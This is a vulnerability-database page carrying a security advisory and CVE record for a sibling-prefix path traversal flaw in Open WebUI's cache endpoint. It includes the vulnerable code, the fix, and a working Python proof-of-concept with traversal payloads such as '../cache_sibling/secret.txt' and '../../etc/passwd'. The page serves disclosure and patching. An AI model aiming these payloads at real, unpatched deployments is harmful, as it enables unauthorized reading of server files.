Vulnerability-Lookup

GHSA-J2C8-V969-8R5C

Vulnerability from github – Published: 2026-06-17 14:16 – Updated: 2026-06-17 14:16

Summary

Open WebUI: Sibling-Prefix Path Traversal via /cache/{path}

Details

Summary

A path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete startswith containment check that lacks a trailing path separator.

The root cause is that serve_cache_file() in open_webui/main.py validates the resolved path with file_path.startswith(os.path.abspath(CACHE_DIR)) — without appending os.sep. This allows any path resolving to a sibling directory whose name begins with cache (e.g. cache_sibling, cache_backup, cached_models) to pass validation.

Deep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed — limited to sibling-prefix directories.

Exploitation constraints

Constraint	Detail
Auth required	`get_verified_user` — any user with role `user` or `admin`
Scope	Only sibling directories starting with `cache` (e.g. `cache_backup`, `cached_models`)
Deep traversal	Blocked — `../../etc/passwd` correctly fails the startswith check
Absolute paths	Blocked — `/etc/passwd` correctly fails
Client normalization	httpx/browsers normalize `..` client-side — must use raw HTTP or ASGI to deliver payload

Vulnerability Details

Vulnerable function: `serve_cache_file()`

# open_webui/main.py, line 2907-2924
@app.get('/cache/{path:path}')
async def serve_cache_file(path: str, user=Depends(get_verified_user)):
    file_path = os.path.abspath(os.path.join(CACHE_DIR, path))
    # prevent path traversal
    if not file_path.startswith(os.path.abspath(CACHE_DIR)):   # ← BUG: no trailing os.sep
        raise HTTPException(status_code=404, detail='File not found')
    if not os.path.isfile(file_path):
        raise HTTPException(status_code=404, detail='File not found')
    return FileResponse(file_path, headers=headers)

The bypass

CACHE_DIR = "/data/cache"

# Attacker path: "../cache_sibling/secret.txt"
file_path = os.path.abspath(os.path.join("/data/cache", "../cache_sibling/secret.txt"))
# → "/data/cache_sibling/secret.txt"

"/data/cache_sibling/secret.txt".startswith("/data/cache")
# → True  ← BYPASS (because "cache_sibling" starts with "cache")

# Correct check would be:
"/data/cache_sibling/secret.txt".startswith("/data/cache/")
# → False  ← BLOCKED

Proof of Concept

Environment

Component	Detail
open-webui	0.9.5 (pip installed)
Python	3.11
Import	`from open_webui.main import app` (true import, real FastAPI app)
Method	Raw ASGI request (bypasses httpx client-side `..` normalization)

poc.py


import asyncio
import os
import shutil
import sys
import tempfile
TEMP_DATA = tempfile.mkdtemp(prefix="owui_poc_")
os.environ["DATA_DIR"] = TEMP_DATA
os.environ["WEBUI_SECRET_KEY"] = "poc_secret_key_12345"
os.environ["WEBUI_AUTH"] = "false"
CACHE_DIR = os.path.join(TEMP_DATA, "cache")
SIBLING_DIR = os.path.join(TEMP_DATA, "cache_sibling")
os.makedirs(CACHE_DIR, exist_ok=True)
os.makedirs(SIBLING_DIR, exist_ok=True)

SECRET_CONTENT = "STOLEN_FROM_SIBLING_DIR"
with open(os.path.join(SIBLING_DIR, "secret.txt"), "w") as f:
    f.write(SECRET_CONTENT)
with open(os.path.join(CACHE_DIR, "legit.txt"), "w") as f:
    f.write("legitimate_cache_file")
from open_webui.main import app
from open_webui.utils.auth import get_verified_user
class FakeUser:
    id = "poc"
    email = "poc@test"
    role = "user"

app.dependency_overrides[get_verified_user] = lambda: FakeUser()
async def raw_asgi_get(app, path):
    """Send a raw ASGI request without client-side path normalization."""
    scope = {
        "type": "http",
        "method": "GET",
        "path": path,
        "query_string": b"",
        "headers": [(b"host", b"localhost")],
        "root_path": "",
        "asgi": {"version": "3.0"},
    }
    response_started = False
    status_code = None
    body_parts = []

    async def receive():
        return {"type": "http.request", "body": b""}

    async def send(message):
        nonlocal response_started, status_code
        if message["type"] == "http.response.start":
            response_started = True
            status_code = message["status"]
        elif message["type"] == "http.response.body":
            body_parts.append(message.get("body", b""))

    await app(scope, receive, send)
    return status_code, b"".join(body_parts)


async def main():
    s1, b1 = await raw_asgi_get(app, "/cache/legit.txt")
    s2, b2 = await raw_asgi_get(app, "/cache/../cache_sibling/secret.txt")
    s3, b3 = await raw_asgi_get(app, "/cache/../../etc/passwd")

    baseline_ok = s1 == 200 and b"legitimate_cache_file" in b1
    exploit_ok = s2 == 200 and SECRET_CONTENT.encode() in b2
    deep_blocked = s3 == 404

    print(f"package:     open_webui (pip installed)")
    print(f"version:     0.9.5")
    print(f"function:    serve_cache_file (GET /cache/{{path}})")
    print(f"sink:        main.py:2914  file_path.startswith(os.path.abspath(CACHE_DIR))")
    print(f"bypass:      startswith without trailing os.sep allows sibling-prefix match")
    print()
    print(f"CACHE_DIR:   {CACHE_DIR}")
    print(f"SIBLING:     {SIBLING_DIR}")
    print()
    print(f"[baseline] /cache/legit.txt            status={s1} body={b1[:40]!r}")
    print(f"[exploit]  /cache/../cache_sibling/secret.txt  status={s2} body={b2[:40]!r}")
    print(f"[control]  /cache/../../etc/passwd     status={s3} (should be 404)")
    print()
    print(f"result:      {'VULNERABLE' if exploit_ok and baseline_ok and deep_blocked else 'NOT CONFIRMED'}")

    shutil.rmtree(TEMP_DATA, ignore_errors=True)
    sys.exit(0 if exploit_ok else 1)


if __name__ == "__main__":
    asyncio.run(main())

PoC output

Suggested Fix

if not file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep):
    raise HTTPException(status_code=404, detail='File not found')

Single character fix: append os.sep to the prefix in the startswith check.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54014"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T14:16:25Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA path traversal vulnerability exists in open-webui\u0027s cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete `startswith` containment check that lacks a trailing path separator.\n\nThe root cause is that `serve_cache_file()` in `open_webui/main.py` validates the resolved path with `file_path.startswith(os.path.abspath(CACHE_DIR))` \u2014 without appending `os.sep`. This allows any path resolving to a sibling directory whose name begins with `cache` (e.g. `cache_sibling`, `cache_backup`, `cached_models`) to pass validation.\n\nDeep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed \u2014 limited to sibling-prefix directories.\n\n### Exploitation constraints\n\n| Constraint | Detail |\n|---|---|\n| Auth required | `get_verified_user` \u2014 any user with role `user` or `admin` |\n| Scope | Only sibling directories starting with `cache` (e.g. `cache_backup`, `cached_models`) |\n| Deep traversal | Blocked \u2014 `../../etc/passwd` correctly fails the startswith check |\n| Absolute paths | Blocked \u2014 `/etc/passwd` correctly fails |\n| Client normalization | httpx/browsers normalize `..` client-side \u2014 must use raw HTTP or ASGI to deliver payload |\n\n## Vulnerability Details\n\n### Vulnerable function: `serve_cache_file()`\n\n```python\n# open_webui/main.py, line 2907-2924\n@app.get(\u0027/cache/{path:path}\u0027)\nasync def serve_cache_file(path: str, user=Depends(get_verified_user)):\n    file_path = os.path.abspath(os.path.join(CACHE_DIR, path))\n    # prevent path traversal\n    if not file_path.startswith(os.path.abspath(CACHE_DIR)):   # \u2190 BUG: no trailing os.sep\n        raise HTTPException(status_code=404, detail=\u0027File not found\u0027)\n    if not os.path.isfile(file_path):\n        raise HTTPException(status_code=404, detail=\u0027File not found\u0027)\n    return FileResponse(file_path, headers=headers)\n```\n\n### The bypass\n\n```python\nCACHE_DIR = \"/data/cache\"\n\n# Attacker path: \"../cache_sibling/secret.txt\"\nfile_path = os.path.abspath(os.path.join(\"/data/cache\", \"../cache_sibling/secret.txt\"))\n# \u2192 \"/data/cache_sibling/secret.txt\"\n\n\"/data/cache_sibling/secret.txt\".startswith(\"/data/cache\")\n# \u2192 True  \u2190 BYPASS (because \"cache_sibling\" starts with \"cache\")\n\n# Correct check would be:\n\"/data/cache_sibling/secret.txt\".startswith(\"/data/cache/\")\n# \u2192 False  \u2190 BLOCKED\n```\n\n## Proof of Concept\n\n### Environment\n\n| Component | Detail |\n|-----------|--------|\n| open-webui | 0.9.5 (pip installed) |\n| Python | 3.11 |\n| Import | `from open_webui.main import app` (true import, real FastAPI app) |\n| Method | Raw ASGI request (bypasses httpx client-side `..` normalization) |\n\n### poc.py\n\n```python\n\nimport asyncio\nimport os\nimport shutil\nimport sys\nimport tempfile\nTEMP_DATA = tempfile.mkdtemp(prefix=\"owui_poc_\")\nos.environ[\"DATA_DIR\"] = TEMP_DATA\nos.environ[\"WEBUI_SECRET_KEY\"] = \"poc_secret_key_12345\"\nos.environ[\"WEBUI_AUTH\"] = \"false\"\nCACHE_DIR = os.path.join(TEMP_DATA, \"cache\")\nSIBLING_DIR = os.path.join(TEMP_DATA, \"cache_sibling\")\nos.makedirs(CACHE_DIR, exist_ok=True)\nos.makedirs(SIBLING_DIR, exist_ok=True)\n\nSECRET_CONTENT = \"STOLEN_FROM_SIBLING_DIR\"\nwith open(os.path.join(SIBLING_DIR, \"secret.txt\"), \"w\") as f:\n    f.write(SECRET_CONTENT)\nwith open(os.path.join(CACHE_DIR, \"legit.txt\"), \"w\") as f:\n    f.write(\"legitimate_cache_file\")\nfrom open_webui.main import app\nfrom open_webui.utils.auth import get_verified_user\nclass FakeUser:\n    id = \"poc\"\n    email = \"poc@test\"\n    role = \"user\"\n\napp.dependency_overrides[get_verified_user] = lambda: FakeUser()\nasync def raw_asgi_get(app, path):\n    \"\"\"Send a raw ASGI request without client-side path normalization.\"\"\"\n    scope = {\n        \"type\": \"http\",\n        \"method\": \"GET\",\n        \"path\": path,\n        \"query_string\": b\"\",\n        \"headers\": [(b\"host\", b\"localhost\")],\n        \"root_path\": \"\",\n        \"asgi\": {\"version\": \"3.0\"},\n    }\n    response_started = False\n    status_code = None\n    body_parts = []\n\n    async def receive():\n        return {\"type\": \"http.request\", \"body\": b\"\"}\n\n    async def send(message):\n        nonlocal response_started, status_code\n        if message[\"type\"] == \"http.response.start\":\n            response_started = True\n            status_code = message[\"status\"]\n        elif message[\"type\"] == \"http.response.body\":\n            body_parts.append(message.get(\"body\", b\"\"))\n\n    await app(scope, receive, send)\n    return status_code, b\"\".join(body_parts)\n\n\nasync def main():\n    s1, b1 = await raw_asgi_get(app, \"/cache/legit.txt\")\n    s2, b2 = await raw_asgi_get(app, \"/cache/../cache_sibling/secret.txt\")\n    s3, b3 = await raw_asgi_get(app, \"/cache/../../etc/passwd\")\n\n    baseline_ok = s1 == 200 and b\"legitimate_cache_file\" in b1\n    exploit_ok = s2 == 200 and SECRET_CONTENT.encode() in b2\n    deep_blocked = s3 == 404\n\n    print(f\"package:     open_webui (pip installed)\")\n    print(f\"version:     0.9.5\")\n    print(f\"function:    serve_cache_file (GET /cache/{{path}})\")\n    print(f\"sink:        main.py:2914  file_path.startswith(os.path.abspath(CACHE_DIR))\")\n    print(f\"bypass:      startswith without trailing os.sep allows sibling-prefix match\")\n    print()\n    print(f\"CACHE_DIR:   {CACHE_DIR}\")\n    print(f\"SIBLING:     {SIBLING_DIR}\")\n    print()\n    print(f\"[baseline] /cache/legit.txt            status={s1} body={b1[:40]!r}\")\n    print(f\"[exploit]  /cache/../cache_sibling/secret.txt  status={s2} body={b2[:40]!r}\")\n    print(f\"[control]  /cache/../../etc/passwd     status={s3} (should be 404)\")\n    print()\n    print(f\"result:      {\u0027VULNERABLE\u0027 if exploit_ok and baseline_ok and deep_blocked else \u0027NOT CONFIRMED\u0027}\")\n\n    shutil.rmtree(TEMP_DATA, ignore_errors=True)\n    sys.exit(0 if exploit_ok else 1)\n\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n\n```\n\n### PoC output \n\n\u003cimg width=\"1392\" height=\"288\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2fbef163-9ef5-4ed5-aa53-a49bd9bf4713\" /\u003e\n\n\n## Suggested Fix\n\n```python\nif not file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep):\n    raise HTTPException(status_code=404, detail=\u0027File not found\u0027)\n```\n\nSingle character fix: append `os.sep` to the prefix in the `startswith` check.",
  "id": "GHSA-j2c8-v969-8r5c",
  "modified": "2026-06-17T14:16:25Z",
  "published": "2026-06-17T14:16:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-j2c8-v969-8r5c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: Sibling-Prefix Path Traversal via /cache/{path}"
}

CVE-2026-54014 (GCVE-0-2026-54014)

Vulnerability from cvelistv5 – Published: 2026-06-23 16:45 – Updated: 2026-06-23 16:45

Title

Open WebUI: Sibling-Prefix Path Traversal via /cache/{path} in open-webui/open-webui

Summary

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.6, a path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete startswith containment check that lacks a trailing path separator. The root cause is that serve_cache_file() in open_webui/main.py validates the resolved path with file_path.startswith(os.path.abspath(CACHE_DIR)) — without appending os.sep. This allows any path resolving to a sibling directory whose name begins with cache (e.g. cache_sibling, cache_backup, cached_models) to pass validation. This vulnerability is fixed in 0.9.6.

Severity

4.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/open-webui/open-webui/security…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
open-webui	open-webui	Affected: < 0.9.6

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "open-webui",
          "vendor": "open-webui",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.9.6"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.6, a path traversal vulnerability exists in open-webui\u0027s cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete startswith containment check that lacks a trailing path separator. The root cause is that serve_cache_file() in open_webui/main.py validates the resolved path with file_path.startswith(os.path.abspath(CACHE_DIR)) \u2014 without appending os.sep. This allows any path resolving to a sibling directory whose name begins with cache (e.g. cache_sibling, cache_backup, cached_models) to pass validation. This vulnerability is fixed in 0.9.6."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 4.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-06-23T16:45:39.220Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/open-webui/open-webui/security/advisories/GHSA-j2c8-v969-8r5c",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-j2c8-v969-8r5c"
        }
      ],
      "source": {
        "advisory": "GHSA-j2c8-v969-8r5c",
        "discovery": "UNKNOWN"
      },
      "title": "Open WebUI: Sibling-Prefix Path Traversal via /cache/{path} in open-webui/open-webui"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-54014",
    "datePublished": "2026-06-23T16:45:39.220Z",
    "dateReserved": "2026-06-11T16:34:11.636Z",
    "dateUpdated": "2026-06-23T16:45:39.220Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-J2C8-V969-8R5C

Summary

Exploitation constraints

Vulnerability Details

Vulnerable function: serve_cache_file()

The bypass

Proof of Concept

Environment

poc.py

PoC output

Suggested Fix

CVE-2026-54014 (GCVE-0-2026-54014)

Tags

Sightings

Nomenclature

Vulnerable function: `serve_cache_file()`